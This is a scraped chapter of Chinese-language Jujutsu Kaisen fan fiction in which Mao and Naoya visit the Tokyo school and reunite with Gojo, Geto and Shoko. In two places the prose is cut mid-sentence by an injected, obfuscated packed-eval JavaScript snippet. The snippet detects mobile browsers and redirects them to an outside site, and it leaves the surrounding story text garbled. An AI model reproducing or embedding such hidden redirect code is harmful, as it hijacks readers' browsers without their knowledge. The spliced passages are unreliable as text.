直哉也没有心情上课了,拉着真绪准备翘掉下午的课,朝着学长摆摆手就走开了。 学长摸着下巴思考,万一真绪的前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12818021|128672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男友真在东京校,要是使用美人计不知道能不能成功啊?啧啧啧,还真是好奇啊。 另外一边的课堂上,老师推了推眼镜,疑惑地问道:“加茂同学,还有两位学生呢?” 加茂千忆抬起眸子看了一眼就低下了头,对着书页涂涂画画,什么话都没有说。 就三个人的课堂有什么好翘课的啊!空着两个位置不要太突出。 老师也不知道该说点什么了,一个学生就一个学生吧,虽然唯一剩下的学生也不在听,但是上课还是得上课啊。 加茂千忆在下课铃响的时候停下了笔触,白纸黑字的书页上用简单的笔触画了一个人的侧脸。 眉眼低垂,笑意吟吟,是从来没有露出过这副表情的真绪啊。 加茂千忆疑惑地看着自己画出来的侧脸,好像自己也曾亲眼见过这个画面一样。 想不明白啊。瘦削的少年看着纸上的画像陷入了沉思。 由于上一届的交流会东京校胜利了,所以这一届他们将会前往东京校进行友好交流。 就例如真绪来这里上学一样,就算学长们提醒了打包行李,他还是认为所有的东西现买就可以,所以此刻他只是躺在床上休息而已。 直哉低头看着手机,仔细一看,他其实只是在发呆而已,手机已经很久没有动过了。 真绪打了一个哈欠,转头看见直哉的古怪表现,问他怎么了。 直哉晃神清醒了过来,扑到床上,真绪的旁边,一只手支撑着自己的下巴,一只手拨动着对方散落在床上的微微卷发。 开学来的这些日子,他的头发长长了不少。 直哉闷闷不乐地问道:“明天看到你的好朋友一定很开心吧?” 真绪还是思考了一下才知道他说的好朋友是夏油杰,他轻笑:“我只和他讲过一面。” 直哉勾了一下发尾:“我听说过一见钟情。” 真绪的笑容绽放得更大、更美丽了:“我们初见的时候才多大啊,知道什么叫做一见钟情啊。” 直哉松开手,倒在了床上:“我见到你的时候还要更小呢。” 真绪没听明白对方的话。 直哉只是放松了一秒钟,又爬过来黏糊糊地亲吻,同时断断续续地说道:“去了那边......不准私下见他......要一直和我在一起......” 真绪张开嘴,任由对方入侵,含糊地应答对方。 第二天,他们就一起前往东京校,校长乐岩寺嘉伸为了省钱选择的是新干线,但是很显然直哉这个大少爷可受不了三个小时会吵吵闹闹的路程。 于是他和真绪是由专门司机过去的。 别提当时学长在后面咬着手帕骂他们叛变。 直哉拥着真绪,真绪靠在他的肩膀上看着外面的风景,忽然开口:“东京校的风景不错。” 到处都是郁郁葱葱的树木,类似麻雀的小鸟成群,一些小动物山岭间奔跑。 东京校坐落在一座深山里面,比京都校要更加隐秘一点,但是看起来却要更加现代化一点,没有那种封建到压死人的感觉。 越靠近东京校,真绪就愈发有些心慌,但是他根本不知道这种心慌来源于何处。 感受到怀中的真绪呼吸有一些不稳,直哉疑惑地问怎么了。 真绪皱眉思考:“可能是学校太偏远了,我有些缺氧。” 直哉看起来不是很相信:“也有可能是快要见到你的好朋友,所以过于开心了吧。” 真绪无奈地看向对方,这一页是翻不过去了吗?怎么,两三句就能够绕到别人身上。 既然如此,真绪就故意说道:“可不是啊,这么多年没有见到了,我可想念了。” 果然,这句话一说出来,真绪就感受到肩膀上的手力道加重了。 然后慢慢松了下去。 直哉收回了手,把身体侧了过去:“你想去就去吧,最好永远都不要回来了!” 真绪眨了眨眼,诶,要提起来的是你,玩不起的也是你。 他伸手去拉,又拉不动,只要笑嘻嘻地凑过去看他,果然眼眶又泛红了。 “开个玩笑嘛,还不是你先说的。”真绪只好开始哄人,直哉眨了眨眼,又想凑过去亲亲,结果司机忽然停车了。 “咳咳。”司机尴尬地说道,“已经到了......我已经开得很慢了。” 也不知道他最后一句是在解释什么,不过直哉又是耷拉着脸拽着真绪下车了。 真绪心底还是有一些不安,虽然周围树木的清香起到了一个很好的安慰效果。他不自觉地踩了踩脚下的土地,好像是在感受脚踏实地的感觉。 他们两个到的比校长他们还要早,不过东京校在门口安排了接待他们的老师。 交流会进行的时间不长不短,往往根据据情况而变,但是最少也是需要三天的。 接待老师带着他们前往这些天居住的地方,然后转头看见两位少年两手空空。 “诶,你们没有带换洗衣物吗?是忘记了吗?” 真绪摇了摇头:“我不习惯带,可以给我附近的商务街地址吗?等会我们会去买的。” 接待老师心想,果然是大家族里的孩子,就是奢侈。但还是相信给他送上了地址,并且友情提醒来往一趟还是需要花费不少时间的。 这倒不是什么问题,私人司机这段时间会一直陪着他们。 一边说一边讲解,也到了休息的地方,接待老师安排了两件房间,然后亲切地告别就准备去接下一班客人。 直哉拉着真绪走近了对方的房间:“真绪,这里是陌生地方,你睡不着吧,我来陪你睡。” 真绪笑出了声:“谁说我说不着啊,我觉得我很喜欢这里。” 直哉的表情一下子僵硬了。 真绪忽然又换了一个话题:“但是我已习惯身边有你了,不知道你愿不愿意和我睡一个房间呢?” 直哉这才转变出一个笑脸,亲亲对方的脸颊,咬咬对方的嘴唇。 不管怎么说,换洗衣物还得去买的,稍微休息了一下,两人又准备出发了。 司机开不进学校,两人还得走到校门口。真绪叹了一口气:“早知道应该在来的时候就顺手去买了。” 直哉倒是觉得无所谓:“我们可以在外面多玩一会,乡下地方也有乡下地方的乐趣。” “诶——”真绪觉得对方总不能老是一口一个乡下地方。 但是他还没有来得及说出口,就有人打断了: “啧,一点变化都没有,简直就是烂橘子生的小橘子啊!” 36.重逢 由于两个人站位的问题,直哉比真绪先看到来人,他倒是难得客客气气地打招呼了:“呦,是悟君啊。” 这个名字很好认,尤其是从直哉嘴里能够喊出来的名字没有几个,来之前就知道六眼也在这所学校了,所以所谓的“悟君”应该就是传说中的六眼五条悟了吧。 真绪望着声音的方向,就看到一个少年站在树荫之下。 从树叶间落下来的斑驳阴影在他白发上微微活动着,少年靠着大树曲起一条腿,黑色的墨镜恰好遮住了对方那双传说中的六眼,但是对方身上那种肆意的青春气息,倒是显得活泼了不少。 真绪直直地看着对方。 五条悟侧过脸,忽然歪了一下头,伸手指向真绪:“喂,你这个人好奇怪啊。” 他大大咧咧地走过来,真绪却不自觉地后退了一步。 直哉拦在了两个人中间,虽然心中有一点疑惑,但还是把真绪护在身后:“悟君,有什么问题嘛?” 五条悟嫌弃地看了对方一眼:“我记得你是禅院家的......”他沉默了好久,估计也没有想起来直哉的名字。 直哉只好咬着牙报上了自己的名字。 五条悟挥手:“随便啦,你们要么禅院要么加茂的,有什么意思,但是你身后的那个人,也是你们都看不到,他身上的咒力很奇怪啊。” 任何咒力都没有办法在六眼之下隐藏,所以真绪身上奇怪的咒力流动方式也毫无遮掩地袒露在了他的眼睛下面。 五条悟也说不明白真绪身上古怪的咒力,但是这样的流动方式,不像是咒术师,却有点眼熟,有点像是咒灵身体里面流动的方式啊。 可是对方又明明确确是人啊。 所以五条悟才觉得奇怪,想要看得更加仔细一点。 但是看不见的直哉却以为五条悟是在戳真绪咒力低微的痛点,他语气有些冲:“哼,悟君作为六眼看不上也麻烦离远一点好了。” 真绪却突然出声:“你说我身体里的咒力有什么问题?” 他早就觉得奇怪了,在一个以咒力为主题的游戏里面,自己这个身份居然不能够调动咒力。也不是说完全不能,只是能够调动的实在是太少了,不值得一提。 他也曾问过禅院家里其他人,真绪本以为这也是任务之一,结果家里人只说这是与生俱来的,没有就是没有,这下真绪也没有办法了。 但是现在,这个六眼居然可以看穿咒力,真绪恍然大悟,原来游戏设定是在这里等着自己呢。 五条悟走得进了一点,似乎是想要看得更加清楚一点,还顺手摘下了墨镜,居高临下地认真看着真绪,难得犹豫地说道:“喂,你身体里面的咒力......” 他话刚开始说,直哉就往前推了一下五条悟,把真绪往后拉了一下,他露出警惕的眼神:“悟君,六眼应该可以看得很清楚吧,又不是眼睛有问题,没有必要凑得这么近。” 真绪第一次看见隐藏在墨镜下面的六眼,澄澈碧蓝,恍若与少年背后的天空融为一体,美得难以触摸,让真绪都乱了一丝呼吸。 他回神之后先是发出一声赞美:“六眼,真的很好看啊。” 五条悟一愣,然后哈哈大笑,旁边的直哉又拉下了一张脸。 五条悟问:“诶,你叫什么名字啊?” 真绪微笑着介绍了自己,但是他没有忘记自己刚才的重点,又问了一遍咒力到底哪里出了问题。 五条悟用手指从上往下,隔空对着真绪圈圈画画,“老子从来没有在任何一个咒术师身上看到这样的咒力,就算是那些咒力少得难以计数的。但是咒灵身上,老子看起来,倒是一模一样啊。” 此话一出,真绪和直哉都瞬间愣住了。 这是什么意思?这和咒灵有什么关系? 直哉紧张地握住真绪的肩膀,用眼神上上下下扫视着真绪:“难道是中了咒灵的术式吗?真绪,你有没有觉得不舒服啊?” 这当然是没有的,他这么多年的咒力完全没有任何的变化啊。 难道说这是带回禅院家之前的事情?或者说这就是禅院家一定要把他带回来的原因? 可是这也很奇怪啊,毕竟禅院家把他带回来之后完全就是放养的态度啊,除了吃好穿好,什么都不管啊。 看来对面完全没听明白自己的意思啊,五条悟无趣地打了一个哈欠,“无聊,既然这么多年都没事了那就没事吧,看久了也觉得没意思了,老子先走了。” 他本来就是打算去找夏油杰玩新上线的电子游戏,结果半路上听到京都校来的人在大放厥词才停了下来,不过这回也觉得没有什么意思了。 真绪看着对方溜得极快的背影,遗憾地皱起眉头,他还想问个清楚呢。 直哉现在的注意力都在真绪的身上,他有些烦躁:“本来只是以为你天赋不好呢,要是真的中了术式,啧,这个交流会还真是没意思,要么我们还是赶紧回家找人看看吧。” 真绪其实并不认可“中了术式”这个说话,谁家咒灵的术式能够安安稳稳度过这么多年啊,就只是为了保持这样一个“咒力低下”的状态吗? 他安抚道:“你这样说,学长肯定会抱着你的大腿哭的。” 直哉露出嫌恶的表情:“好恶心,不想看到那个画面。” 真绪眉开眼笑,往树荫底下移动了一步,微风吹动他的发丝,一切都显得那么美好。 “那就这样吧,诶,我们不是本来想要去买东西的嘛......” 真绪移动目光,垂下的右手却突然被人拉了过去,然后他们两个人脚步磕磕绊绊地往大树一下挪了过去,直到真绪整个人都靠在了树根上面。 黏糊的轻吻像雨珠一样密密麻麻落在真绪的脸颊上。 真绪眯着眼睛想要躲开:“又怎么了呀,直哉,又怎么了呀。”他被亲得有些猝不及防,连连问了两遍。 直哉收敛内心的慌乱,他说:“你刚才笑得太好看了。” 听到这句话,真绪又忍不住露出了一样的笑容。 直哉眯起了眼,捧起对方的脸颊,不舍地开始亲吻最后一个地方。 “哇哦。”毫无感情的赞叹声响了起来,直哉和真绪同时转头看向来处,站着两个人,吃着棒棒糖的短发少女和拎着一袋游戏光碟的刘海少年。 家入硝子鼓掌感叹:“真不愧是京都来的人啊。” 夏油杰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840832|128672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是处于完全宕机的状态。 【等等,那是真绪吧,虽然这么多年没见了,但是那就是真绪吧。旁边那个金发小子就是当年脾气很不好的人吧,叫什么来着,好像是禅院直哉吧。诶,我到底在思考些什么,我刚才是看错什么东西了吧。硝子到底在感叹些什么啊......所以说,为什么真绪会和那个禅院直哉在亲吻啊!那绝对就是亲吻吧!我绝对没有看错吧!】 看似只过去了一秒钟,但是夏油杰的脑海里已经过去了好几百个字。 直哉本来还是被打扰的不愉快,结果转头看到了那个噩梦一般的身影,夏油杰! 他嘴角一勾,擦了擦真绪的嘴角,勾着对方的肩膀朝着两位东京校的学生轻蔑笑着:“哟,东京校的低等咒术师啊。” 真绪有些无奈,直哉这个人,放弃乡下人这个称呼又换成其他的了吗? 他望过去,与夏油杰先是对视一眼,然后目光就落在了那个吃着棒棒糖的少女身上,看了很久。 硝子听着直哉说话,表情略微收敛,一开始吃瓜的心情又落了下去。 真是白瞎了那张脸。硝子对着直哉下了一个定义,然后发现被对方拢在怀里的人却一直盯着自己看。 好奇怪,难道是认识自己吗? 直哉先是瞪了一眼夏油杰,然后发现怀中的真绪一点声音都没有发出,还以为对方是看见好久不见的人看愣住了,正准备醋意大发地说几句话,却发现真绪盯着看的,是那个女生。 哦,得纠正一下,是真绪和硝子在对视着。 “真绪——”直哉又开始喊人了,这下他们倒是换了一下顺序,变成直哉催着出门买东西了。 眼看着直哉就要把真绪带走,夏油杰赶紧出声:“是真绪吧,你都不和我打招呼,我还以为我认错了呢。” 直哉盯着真绪,就准备看他怎么回答。 真绪看了看地面,又看了看天空,拉着直哉回头:“是夏油吧,好久不见了,你还记得我和直哉吗?” “啊,嗯嗯。”夏油杰含糊不清地应答着,说不失望当然是假的,他原本以为和真绪的再次见面会和第一次一样,心有灵犀,无话不谈,而不是像现在这样,说一句话都觉得尴尬。 也许是内心太过纠结,他忽然开口说道:“我刚才好像是没戴眼镜,没看清楚,居然看到真绪你们在接吻诶,是不是很好笑?” 家入硝子面无表情地看向胡说八道的某人,喂,你什么时候戴眼镜了啊?是戴上了五条的墨镜吗? 直哉脸上的笑容一点都遮不住,居然还真敢问出来,这不是自取其辱吗? 反应过来的夏油杰抿了抿嘴唇,自己刚才是没动脑子吗?都说了什么啊! 真绪作为最平淡的一个人,也是稍微愣了一下,不过他很快反应了过来:“你没有看错啦,你身边的是你的同学吗?叫什么名字?” 这问得很生硬也很突兀,夏油杰也不明所以地看向了原本还在看戏的家入硝子,直哉也看了过来。 忽然被所有人目光聚焦的硝子拿着棒棒糖转了一个圈,自认为很冷静地自我介绍了一下。 内心不由得感慨,哇,难道这就是传说中的修罗场吗?